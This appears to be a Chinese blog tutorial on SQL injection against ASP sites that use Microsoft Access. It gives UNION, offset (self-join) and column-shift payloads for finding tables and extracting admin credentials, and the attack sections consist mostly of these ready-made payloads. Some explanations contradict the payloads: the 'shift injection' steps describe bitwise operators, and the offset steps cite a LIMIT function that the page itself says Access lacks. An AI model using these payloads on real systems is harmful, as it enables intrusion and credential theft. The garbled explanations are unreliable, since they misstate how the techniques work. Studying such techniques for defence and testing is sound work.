WEB TOP10 之 SQL注入漏洞 Access (五)

0x0 Access 基础

  • Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 MicrosoftJet Database Engine 和 图形用户界面两项特点,是 Microsoft Office 的系统程序之一。
  • Microsoft Office Access是微软把数据库引擎的图形用户界面和软件开发工具结合在一起的一个数据库管理系统。它是微软OFFICE的一个成员, 在包括专业版和更高版本的office版本里面被单独出售。2012年12月4日,最新的微软Office Access 2013在微软Office 2013里发布,微软Office Access 2010 是前一个版本。
  • MS ACCESS以它自己的格式将数据存储在基于Access Jet的数据库引擎里。它还可以直接导入或者链接数据(这些数据存储在其他应用程序和数据库
  • sqlite access 单文件类型数据库 无数据库概念 直接表里面存数据 (没有information_schema库)
  • asp一般用mssql或access数据库

0x1 常见注入类型

00 union 联合查询注入

  1. 先判断使用库类型
and exists(select * from sysobjects)          //sysobjects库在mssql中存在
and exists(select * from msysobjects)         //msysobjects库在access中存在
  1. 猜字段数
?id=1 order by 8
  1. 猜解表名
  • 表名可能会有前缀,需要根据具体去猜解,不存在默认表
  • 可以准备一个字典进行爆破sqlmap中自带 data/txt/common-tables.txt
?id=1 and 1<(select count(*) from tb_name)

access数据库,联合查询要求前后数据格式保持一致,数量一致,后面的select必须跟from

?id=1 union select 1,2,3,4,5,6,7,8 from tb_name
  1. 猜字段
and exists(select count(id) from user)   //标记id爆破列名
  1. 取数据用top限制不存在limit
?id=1 union select top 1 id,2,username,4,5,6,password,8 from tb_name where id not in (select top 1 id from tb_name)

01 偏移注入

注入原理

  • 借用数据库的自连接查询(inner join)让数据库内部发生乱序,从而偏移出所需要的字段在我们的页面上显示
  • access偏移注入是解决一些注入不出来列表的时候,同时要求支持union select,列名足够多,需要知道表名

利用条件

  1. 知道表名
  2. 任意字段(一般access会有一个id字段。)

影响偏移注入成功率的因素

  1. 管理表的字段数越少越好(最好是三个:id 账号字段 密码字段)
  2. 当前注入点的脚本内查询的表内的字段数越多越好(最好有几十个,这样基本成功率是100%)
  3. 已知的字段数越多越好(id一般存在)

偏移注入(Offset Injection)流程:

  1. 理解偏移注入: 在偏移注入中,攻击者试图通过调整SQL查询结果的偏移量来获取敏感数据。
  2. 识别注入点: 发现可被注入的输入点(如URL参数、表单字段等),通常通过尝试输入注入代码并查看响应来识别。
  3. 确定注入位置: 找到SQL查询语句中的输入点,尤其是可以用于调整结果集偏移的部分。
  4. 利用偏移函数: 尝试使用Access中的内置函数(如TOP和LIMIT)来调整结果集的偏移量,以访问不同的行或数据。

注入过程

先判断列数 已知管理表列22

union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from user

union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,* from admin

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,*from admin

union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,* from admin

union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin

解释:说明存在22-16 = 6列

union    // 联合查询语法,定义连后面的语句一起执行
select   // 查询
1,2,3,4,5,6,7,8,9,10, // 这里理解为剩下的字段数就可以
from     // 从哪里开始
(admin as a inner join admin as b on a.id=b.id)   // 这里是admin表自连接,admin为表名(前面得到的表名) id为字段(可修改,但必须存在)

【偏移注入的基本公式】:字段数=order by 出的字段数-*号的字段数x2

因为这里一共是22个字段,而*号代表的admin表字段占6个,6×2=12 22-12=10 这就是为什么字段数是10的原因

一级偏移语句

union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id=b.id)

二级偏移语句

union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)

这里是10个字段再减去了表里的6个字段,所以二级偏移这里是select 1,2,3,4

02 移位注入

移位注入(Bitwise Shift Injection)流程:

  1. 认识移位注入: 移位注入涉及使用位移操作符来操纵数据,执行恶意操作或提取信息。
  2. 确认漏洞点: 发现可以进行注入的输入位置,并尝试了解如何利用位移操作符。
  3. 构造攻击载荷: 创建精心设计的注入载荷,利用Access的数据类型和位操作符来操纵查询结果。
  4. 执行注入攻击: 利用合法查询来构造恶意的位移注入代码,并观察查询结果中的不寻常行为或输出。
// 先判断列数
union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,admin.* from admin 

union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,admin.* from admin

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,admin.*from admin

union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,admin.* from admin

union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,admin.* from admin

// 说明存在22-16=6列

//union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,admin.* from admin  
// 9  11 13为显示位   admin.*代表6列

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,admin.*,15,16,17 from admin
// 将admin.*依此往前移位得到想要注入的如果

© 版权声明
THE END
喜欢就支持一下吧
点赞10 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情

    暂无评论内容